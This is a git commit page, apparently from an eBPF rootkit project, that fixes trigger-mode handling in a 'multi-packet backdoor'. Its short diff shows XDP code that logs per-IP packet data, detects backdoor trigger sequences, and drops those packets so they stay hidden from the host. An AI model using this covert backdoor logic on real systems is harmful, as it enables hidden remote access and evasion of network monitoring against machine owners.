Fixed a bug where tcpport mode in the multi-packet backdoor did not work if a previous trigger using seqnum mode was made

This commit is contained in:
h3xduck
2022-05-18 12:45:35 -04:00
parent 104f4c0355
commit 3e697dd4cf
5 changed files with 12711 additions and 12298 deletions

View File

@@ -214,6 +214,7 @@ int xdp_receive(struct xdp_md *ctx){
//where for other purpose, we must still check it)
int ret = manage_backdoor_trigger_v3_32(b_new_data_32);
if(ret == 1){
//The packet was for the backdoor, better hide it
return XDP_DROP;
}
}
@@ -227,7 +228,6 @@ int xdp_receive(struct xdp_md *ctx){
bpf_map_update_elem(&backdoor_packet_log_32, &ipvalue, &b_new_data_32, BPF_ANY);
}
////16 bit 6-len streams
struct backdoor_packet_log_data_16 *b_data_16 = (struct backdoor_packet_log_data_16*) bpf_map_lookup_elem(&backdoor_packet_log_16, &ipvalue);
struct backdoor_packet_log_data_16 b_new_data_16 = {0};